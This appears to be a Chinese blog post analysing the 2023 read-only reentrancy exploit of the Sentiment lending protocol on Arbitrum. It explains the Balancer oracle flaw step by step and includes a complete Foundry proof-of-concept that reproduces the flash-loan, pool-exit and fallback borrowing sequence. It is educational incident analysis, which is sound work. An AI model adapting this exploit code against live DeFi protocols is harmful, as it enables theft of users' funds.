案例介绍2023年4月4日,Arbitrum上的借贷项目Sentiment遭到攻击,损失100万美元。
项目源码参考:https://github.com/KISSInori/DeFiAttack_Foundry
核心问题这是一次只读重入攻击
<!--StartFragment-->
2023 年 4 月 4 日,Arbitrum 上的借贷项目 Sentiment 遭到攻击,损失 100 万美元。 项目源码参考:https://github.com/KISSInori/DeFiAttack_Foundry/tree/main/src/2023-04-05-Sentiment
<!--EndFragment-->
这是一次只读重入攻击,由于在sentiment 项目中,没有考虑到在和其他defi协议交互过程中的只读重入问题,导致预言机的价格被操纵。即Balancer: Vault._joinOrExit() 函数在移除流动性时,先进行了资产转移(交互)然后再更新池子中的余额从而导致被攻击者利用。于是攻击者就在sentiment项目中借入资金,并与balancer进行交互,然后在balancer的三种代币组成的等权重池子中注入并移除流动性,由于移除流动性的过程中,balancer合约先进行资产转移再更新余额,并且在转移ETH的时候采用call的转账方式触发了攻击者精心设计的fallback函数,攻击者在设计的fallback函数中进行了多次borrow操作,每次的borrow操作都需要在sentiment中进行健康检查,由于检查中使用balancer的返回的代币数量计算lp token 对应的价格,价格预言机错误的使用了未更新的余额进行价格预测,导致攻击者可以借出更多的资产,最后,将多获利的资产转入攻击者地址账户,实现获利。
只读型重入漏洞是重入漏洞的一种特殊情况,发生漏洞的位置是智能合约中的 view 函数,由于该类型的函数并不对合约的状态变量进行修改,因此大多数情况下该类型的函数(视图函数)并不会使用重入锁进行修饰。当受害合约调用存在漏洞合约的 view 函数时,由于此时 view 函数中使用到的状态变量还未更新,导致受害合约通过 view 函数获取的数据也是未更新的,如果此时受害合约依赖 view 函数返回的值,则可能会出现异常的状况,如计算抵押物价格异常、奖励计算错误,即发生只读重入。
以上图为例,攻击者合约首先向合约A(重入合约)发起攻击交易,内部逻辑会fallback回到攻击者合约,此时攻击合约通过fallback进入目标合约(受害者),目标合约的某个函数依赖外部合约A的值,因此从重入合约中读取,但是读取的时候合约A的状态还没有被修改,从而导致只读重入的发生。
https://github.com/sentimentxyz/docs/blob/main/docs/overview/Intro-to-sentiment.md Sentiment 是一个 Defi 借贷项目。借贷逻辑是 Sentiment 为用户开设账户,用户通过此账户将资产质押到其他项目获取收益,并且在质押之后也可以进行借贷。
Sentiment 是一个非托管的链上流动性协议,允许用户以无需许可的方式借入和借出数字资产。借款人可以获得最高相当于其初始抵押品价值 5 倍的资金(v2有升级),并将其用于投资特定资产以及通过集成提供的投资机会,一旦抵押品低于 Sentiment 设定的某个健康限额,就会被清算。
Sentiment 的全新账户原语(用户创建的代理合约)允许低抵押借贷,从而提高借款人的资金效率。使用 Sentiment 的借款人可以创建一份独特的合约,用于托管已存入和借入的资产。在存入初始抵押品后,借款人可以在 Sentiment 界面内进行互换、借出以及向 DeFi 中的各种流动性池提供流动性。
借款人使用 Sentiment的示例:用户可以使用 10,000 美元的 USDC 作为抵押品进入 Sentiment,并可以借入 50,000 美元的 USDC 来购买 wstETH。然后,他们可以将价值 50,000 美元的 wstETH 及其初始的 10,000 美元 USDC(总计 60,000 美元)作为流动性提供给 Balancer,以 BAL 代币的形式赚取费用和收益。
Balancer 是一个基于以太坊构建的去中心化自动做市商 (AMM) 协议,其核心在于提供可互换且可产生收益的流动性。Balancer 的成功与其平台上构建的协议和产品的成功息息相关。Balancer v3 的架构核心在于简洁性、灵活性和可扩展性。v3 的金库 (Vault) 更正式地定义了自定义池的要求,将核心设计模式从池中转移到金库中。
Balancer 池是定义交易者如何在 Balancer 协议上进行代币兑换的智能合约, Balancer 协议的架构允许任何人创建自定义池类型。Balancer 池与其他协议池的不同之处在于其无与伦比的灵活性。随着挂钩和动态兑换费的引入,定制程度将无限提升。
本次攻击中需要了解的关键是,balancer设置了加权池,这是对uniswap的推广,Balancer 加权池允许用户构建包含两种以上代币并自定义权重的池子,例如具有 80/20 或 60/20/20 权重的池子。
Vault(保险库、金库) 是一个接收、管理、操作、分发资产的智能合约模块。它常用于流动性聚合、收益复投、资产分组、风险隔离等操作。 指的是 Balancer V2 协议中的核心合约:Balancer Vault。这是一个非常重要的组件:
使用Vault优势在于:
Aave 协议是一个非托管的去中心化流动性协议,允许用户以供应者、借款者或清算者的身份参与。向市场提供流动性的用户可以通过提供的加密资产赚取利息,而借款者可以超额抵押并借入资产。此外,借款者还可以进行“闪电贷”,这是一种无需超额抵押的单区块借款交易(该闪电贷可以设置不同的还款方式,本次攻击就是一个正常的闪电贷逻辑)。
攻击交易 0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d 攻击者地址 0xdd0cdb4c3b887bc533957bc32463977e432e49c3 攻击合约 0x9f626f5941fafe0a5b839907d77fbbd5d0dea9d0 被攻击合约 0x62c5aa8277e49b3ead43dc67453ec91dc6826403(Proxy_62c5_6403,管理攻击者合约账户资产的sentiment对应的合约)
1.攻击者在以太坊主网通过跨链桥将 0.7ETH 转入到其 Arbitrum 账户做好 gas 准备。然后部署了他的攻击合约。
(1)在以太网主网上的操作:https://etherscan.io/tx/0xb72c3bac76a0a4021abf4760ef81a7d941a221d7d5f16adb02d7a9c30e4aaeec
(2)然后,在Arbitrum layer2中,在执行攻击交易之前,先部署了攻击合约:
https://arbiscan.io/tx/0xc4d2a38440378bde6e32dfff9616beb65f263ca9b8152e4af99c866b40660cae
(3)攻击者向攻击合约发起攻击交易。
2.攻击者通过 Aave 的闪电贷借入606个WBTC,10050个WETH,18,000,000个USDC,然后执行攻击合约所设置的函数逻辑,进入executeOperation函数,这个可以按照上述查看aave中的闪电贷逻辑代码:
3.在攻击合约的逻辑中,攻击合约通过 Sentiment 创建了一个账户(管理该攻击合约的存储操作逻辑),并向其中存入了50个WETH,由于Balancer: Vault是Sentiment 确认可以操作的defi协议,因此攻击合约通过创建的这个账户将这50个WETH存入到Balancer: Vault 中进行操作。
4.攻击合约绕过Sentiment调用Balancer: Vault合约的joinPool函数向该协议的流动性池提供流动性,这个过程中转入了606个WBTC,10000个WETH,18,000,000个USDC,然后通过调用Balancer: Vault合约的exitPool函数移除流动性,但是在发送ETH的过程中触发了攻击合约的fallback函数。
<!--StartFragment-->
<!--EndFragment-->
5.攻击合约的fallback函数中,攻击者调用了sentiment协议逻辑的borrow函数进行借款,由于协议设置了账户管理每一个合约的存款,因此协议会按照逻辑进行风险防控保障资金安全,调用RiskEngine.isAccountHealthy进行账户健康度检查。
<!--StartFragment-->
<!--EndFragment-->
6.在进行检查的过程中,会使用预言机的getPrice函数获取当前的价格,lp 代币的价格主要是通过WeightedBalancerLPOracle的getPrice函数来实现的,然而这个函数会调用Balancer: Vault合约的getPoolTokens函数所返回的数据,由于现阶段仍处于攻击合约的fallback逻辑中,攻击者移除流动性的操作还未完成,流动性池内的三种代币(WBTC、WETH、USDC)的数量还未及时更新(发生只读重入),因此此时预言机的价格返回了3550073070005057760,相比之前被放大了,提升了约 16 倍,攻击者便可以通过50 WETH 借出更多的资产。
7.攻击者通过多次调用borrow和exec 函数借出其他资产,多次操作,每次健康检查的时候,都会这样获取价格,每一次都是未及时更新,发生只读重入。
LP Token作为抵押物就可以借贷 461,00个USDC_e,361,00个USDT,81个WETH,125,000个FRAX。其中,借到的FRAX换成USDC。
<!--StartFragment-->
<!--EndFragment-->
然后,通过Sentiment将借到的钱,都借给AaveV3,然后取出借出的钱。 <!--StartFragment-->
<!--EndFragment-->
8.攻击者归还从aave中借的闪电贷,包括闪电贷过程中产生的手续费(这里使用的是aave中的直接归还模式)
<!--EndFragment-->
9.最终攻击合约将操纵获利所得转给攻击者地址,最终获利大约0.5 个 WBTC、30 个 WETH,538,399 个 USDC,360,000 个 USDT:
<!--StartFragment-->
<!--EndFragment-->
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./interface.sol";
// @Incident
// 2023-04-05 Sentiment(Arbitrum) Read-Only-Reentrancy
// @KeyInfo - Total Lost : ~1M US$
// Attacker : 0xdd0cdb4c3b887bc533957bc32463977e432e49c3
// Attack Contract : 0x9f626f5941fafe0a5b839907d77fbbd5d0dea9d0
// Vulnerable Contract : 0x62c5aa8277e49b3ead43dc67453ec91dc6826403
// Attack Tx : 0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d
// @Info
// Vulnerable Contract Code : https://arbiscan.deth.net/address/0x16f3ae9c1727ee38c98417ca08ba785bb7641b5b
// @Analysis
// Twitter :
// https://twitter.com/peckshield/status/1643417467879059456
// https://twitter.com/spreekaway/status/1643313471180644360
// Others :
// https://s.foresightnews.pro/article/detail/32601
// https://web3caff.com/archives/57127
// https://medium.com/zokyo-io/read-only-reentrancy-attacks-understanding-the-threat-to-your-smart-contracts-99444c0a7334
// @Summary
// 本次攻击的核心在于攻击者利用Banlancer的view函数进行只读重入,在池余额未更新之前执行fallback恶意代码,操纵价格预言机,实现获利。
// 攻击合约
contract ContractTest is Test {
IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
IERC20 FRAX = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);
address FRAXBP = 0xC9B8a3FDECB9D5b218d02555a8Baf332E5B740d5;
IBalancerToken TokenPair = IBalancerToken(0x64541216bAFFFEec8ea535BB71Fbc927831d0595); // Balancer 33 WETH 33 WBTC 33 USDC (B-33WETH-...)
IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); // Balancer: Vault
IAaveFlashloan AaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD); // Aave: Pool V3
IAccountManager AccountManager = IAccountManager(0x62c5AA8277E49B3EAd43dC67453ec91DC6826403); // Proxy_62c5_6403
IWeightedBalancerLPOracle WeightedBalancerLPOracle = IWeightedBalancerLPOracle(0x16F3ae9C1727ee38c98417cA08BA785BB7641b5B); // WeightedBalancerLPOracle
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
// fork主网环境
vm.createSelectFork("arbitrum", 77_026_912);
// 对应的地址打印为相关标签
cheats.label(address(WBTC), "WBTC");
cheats.label(address(USDT), "USDT");
cheats.label(address(USDC), "USDC");
cheats.label(address(WETH), "WETH");
cheats.label(address(FRAX), "FRAX");
cheats.label(address(account), "account");
cheats.label(address(BalancerVault), "BalancerVault");
cheats.label(address(AaveV3), "AaveV3");
cheats.label(address(TokenPair), "TokenPair");
cheats.label(address(AccountManager), "AccountManager");
cheats.label(address(WeightedBalancerLPOracle), "WeightedBalancerLPOracle");
}
function testExploit() public {
payable(address(0)).transfer(address(this).balance);
console.log("\n[@Before flashloan]");
console.log("Before flashloan Starting, Attack Contract of WBTC:", WBTC.balanceOf(address(this)));
console.log("Before flashloan Starting, Attack Contract of WETH:", WETH.balanceOf(address(this)));
console.log("Before flashloan Starting, Attack Contract of USDC:", USDC.balanceOf(address(this)));
console.log("Before flashloan Starting, Attack Contract of USDT:", USDT.balanceOf(address(this)));
AccountManager.riskEngine();
// step1 :攻击者向Aave V3 借款闪电贷
address[] memory assets = new address[](3); // 代币资产
assets[0] = address(WBTC);
assets[1] = address(WETH);
assets[2] = address(USDC);
uint[] memory amounts = new uint[](3); // 代币数量
amounts[0] = 606 * 1e8;
amounts[1] = 10_050_100 * 1e15;
amounts[2] = 18_000_000 * 1e6;
uint[] memory interestRateModes = new uint[](3); // aave中的闪电贷模式,这里是一般性归还闪电贷
interestRateModes[0]=0;
interestRateModes[1]=0;
interestRateModes[2]=0;
AaveV3.flashLoan(address(this), assets, amounts, interestRateModes, address(this), abi.encode(''), 0);
console.log("\n[@Profit]");
emit log_named_decimal_uint("After Read-Only-Reentrancy, Attack Contract Get Profit of WBTC", WBTC.balanceOf(address(this)), WBTC.decimals());
emit log_named_decimal_uint("After Read-Only-Reentrancy, Attack Contract Get Profit of WETH", WETH.balanceOf(address(this)), WETH.decimals());
emit log_named_decimal_uint("After Read-Only-Reentrancy, Attack Contract Get Profit of USDC", USDC.balanceOf(address(this)), USDC.decimals());
emit log_named_decimal_uint("After Read-Only-Reentrancy, Attack Contract Get Profit of USDT", USDT.balanceOf(address(this)), USDT.decimals());
}
// step2 : 闪电贷逻辑过程中,触发攻击合约自定义的执行操作函数(必须有,不然会回滚)
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata /*premiums*/,
address /*initiator*/,
bytes calldata /*params*/
) external payable returns (bool) {
Firstdeposit_to_Sentiment(assets);
joinPool(assets);
exitPool();
WETH.approve(address(AaveV3), type(uint256).max);
WBTC.approve(address(AaveV3), type(uint256).max);
USDC.approve(address(AaveV3), type(uint256).max);
return true; // 返回true确保aave闪电贷逻辑正常执行
}
// step3 : 攻击合约在Sentiment中创建账户,并授权50以太WETH,在Balancer协议的池子中存入这些资产
function Firstdeposit_to_Sentiment(address[] calldata assets) internal {
emit log_named_decimal_uint("\n[@LP Price]", WeightedBalancerLPOracle.getPrice(address(TokenPair)), 18);
emit log_named_decimal_uint("\nETH balance", address(this).balance, 18);
WETH.withdraw(100 * 1e15); // 取出0.1 ETH,攻击合约第一次fallback
console.log("Firstly fallback!");
account = AccountManager.openAccount(address(this)); // BeaconProxy
WETH.approve(address(AccountManager), 50 * 1e18);
AccountManager.deposit(account, address(WETH), 50 * 1e18);
AccountManager.approve(account, address(WETH), address(BalancerVault), 50 * 1e18);
PoolId = TokenPair.getPoolId(); // 等比例权重池的ID
uint256[] memory amountIn = new uint256[](3);
amountIn[0] = 0;
amountIn[1] = 50 * 1e18;
amountIn[2] = 0;
bytes memory userdata = abi.encode(uint8(1), amountIn, uint256(0));
IBalancerVault.JoinPoolRequest memory request1 = IBalancerVault.JoinPoolRequest({
asset: assets,
maxAmountsIn: amountIn,
userData: userdata,
fromInternalBalance: false
});
// data 可根据 cast 4byte-decode 0x... 进行解析得到
bytes memory data = abi.encodeWithSelector(BalancerVault.joinPool.selector, PoolId, account, account, request1);
AccountManager.exec(account, address(BalancerVault), 0, data); // 实现存款50 WETH
console.log("\n[@Step 3,About Attack Contract]");
emit log_named_decimal_uint("WBTC", WBTC.balanceOf(address(this)), WBTC.decimals());
emit log_named_decimal_uint("WETH", WETH.balanceOf(address(this)), WETH.decimals());
emit log_named_decimal_uint("USDC", USDC.balanceOf(address(this)), USDC.decimals());
}
// step4 : 攻击合约绕过Sentiment中,在Balancer协议的pair中存入10000WETH,606WBTC,18000000USDC
function joinPool(address[] calldata assets) internal {
WETH.approve(address(BalancerVault), 10_000 * 1e18);
USDC.approve(address(BalancerVault), 18_000_000 * 1e6);
WBTC.approve(address(BalancerVault), 606 * 1e18);
uint256[] memory amountIn = new uint256[](3);
amountIn[0] = 606 * 1e8;
amountIn[1] = 10_000 * 1e18;
amountIn[2] = 18_000_000 * 1e6;
bytes memory userdata = abi.encode(uint8(1), amountIn, uint256(0));
IBalancerVault.JoinPoolRequest memory request2 = IBalancerVault.JoinPoolRequest({
asset: assets,
maxAmountsIn: amountIn,
userData: userdata,
fromInternalBalance: false
});
// 传入value,第二次触发fallback
BalancerVault.joinPool{value: 0.1 ether}(PoolId, address(this), address(this), request2); // 分析第196行,三种代币转账到池子
console.log("Senondly fallback!");
emit log_named_decimal_uint("\n[@Before Read-Only-Reentrancy LP Price]", WeightedBalancerLPOracle.getPrice(address(TokenPair)), 18);
console.log("\n[@Step 4,About Attack Contract]");
emit log_named_decimal_uint("WBTC", WBTC.balanceOf(address(this)), WBTC.decimals());
emit log_named_decimal_uint("WETH", WETH.balanceOf(address(this)), WETH.decimals());
emit log_named_decimal_uint("USDC", USDC.balanceOf(address(this)), USDC.decimals());
}
// step5 : 攻击合约从Balancer协议的pair中取款,但是取款WETH的时候触发了fallback
function exitPool() internal {
TokenPair.approve(address(BalancerVault), 0);
address[] memory assetsOut = new address[](3);
assetsOut[0] = address(WBTC);
assetsOut[1] = address(0);
assetsOut[2] = address(USDC);
uint256[] memory amountOut = new uint256[](3);
amountOut[0] = 606 * 1e8;
amountOut[1] = 5000 * 1e18;
amountOut[2] = 9_000_000 * 1e6;
uint256 balancerTokenAmount = TokenPair.balanceOf(address(this));
bytes memory userDatas = abi.encode(uint256(1), balancerTokenAmount);
IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest({
asset: assetsOut,
minAmountsOut: amountOut,
userData: userDatas,
toInternalBalance: false
});
BalancerVault.exitPool(PoolId, address(this), payable(address(this)), request); // 分析第250行
emit log_named_decimal_uint("\n[@After Read-Only-Reentrancy LP Price]", WeightedBalancerLPOracle.getPrice(address(TokenPair)), 18);
console.log("\n[@Step 5,About Attack Contract]");
emit log_named_decimal_uint("WBTC", WBTC.balanceOf(address(this)), WBTC.decimals());
emit log_named_decimal_uint("WETH", WETH.balanceOf(address(this)), WETH.decimals());
emit log_named_decimal_uint("USDC", USDC.balanceOf(address(this)), USDC.decimals());
address(WETH).call{value: address(this).balance}("");
}
fallback() external payable {
console.log("\n[@fallback!]");
console.log("fallback called, nonce =", nonce);
console.log("msg.sender:", msg.sender);
//console.log(">> current balance = ", address(this).balance);
emit log_named_decimal_uint("ETH balance", address(this).balance, 18);
if (nonce == 2) {
console.log("Thirdly fallback!");
Borrow();
emit log_named_decimal_uint("\n[@During Read-Only-Reentrancy LP Price]", WeightedBalancerLPOracle.getPrice(address(TokenPair)), 18);
}
nonce++;
}
function Borrow() internal {
// 借款,这里发生只读重入,操纵预言机价格,可以借更多
AccountManager.borrow(account, address(USDC), 461_000 * 1e6);
AccountManager.borrow(account, address(USDT), 361_000 * 1e6);
AccountManager.borrow(account, address(WETH), 81 * 1e18);
AccountManager.borrow(account, address(FRAX), 125_000 * 1e18);
// 兑换FRAX
AccountManager.approve(account, address(FRAX), FRAXBP, type(uint256).max);
bytes memory execData = abi.encodeWithSignature("exchange(int128,int128,uint256,uint256)", 0, 1, 120_000 * 1e18, 1);
AccountManager.exec(account, FRAXBP, 0, execData);
AccountManager.approve(account, address(USDC), address(AaveV3), type(uint256).max);
AccountManager.approve(account, address(USDT), address(AaveV3), type(uint256).max);
AccountManager.approve(account, address(WETH), address(AaveV3), type(uint256).max);
// 放入aave并取出
// execData的内容可以根据给出的data,然后使用foundry命令 cast 4byte-decode 0x11111 来解析出来
AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDC), 580_000 * 1e6, account, 0));
AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDT), 360_000 * 1e6, account, 0));
AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(WETH), 80 * 1e18, account, 0));
AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("withdraw(address,uint256,address)", address(USDC), type(uint256).max, address(this)));
AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("withdraw(address,uint256,address)", address(USDT), type(uint256).max, address(this)));
AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("withdraw(address,uint256,address)", address(WETH), type(uint256).max, address(this)));
}
}
<!--StartFragment-->
<!--EndFragment-->
这其实也是攻击者第一次先从WETH那里取款0.1 WETH的原因(第一次fallback),而这次加入池子就产生了这里考虑这0.1 ETH可能是作为加入池子的初始资金,用于触发池子逻辑,池子最后有一个退款未使用的ETH的函数,这也是(第二次fallback)。此外,攻击者可能考虑利用这个退款处理逻辑触发fallback函数实现一些逻辑。 (这个不转账value做了测试,将nonce改为2,也可以正常运行得到结果)
攻击者归还闪电贷后,原本有18547399.328226,最后获利538399.328226,WETH是同理的,这都是攻击者在borrow获取的利润所得。
Beosin Trace 追踪发现,被盗资金为 517 个 ETH,经项目方与黑客协商,其中 51 ETH 为赏金已被黑客转移到 Tornado.Cash,其余资金已归还项目方。
参考:https://github.com/KISSInori/DeFiAttack_Foundry/tree/main 其他材料:https://arbiscan.io/tx/0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345 https://x.com/peckshield/status/1643417467879059456
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!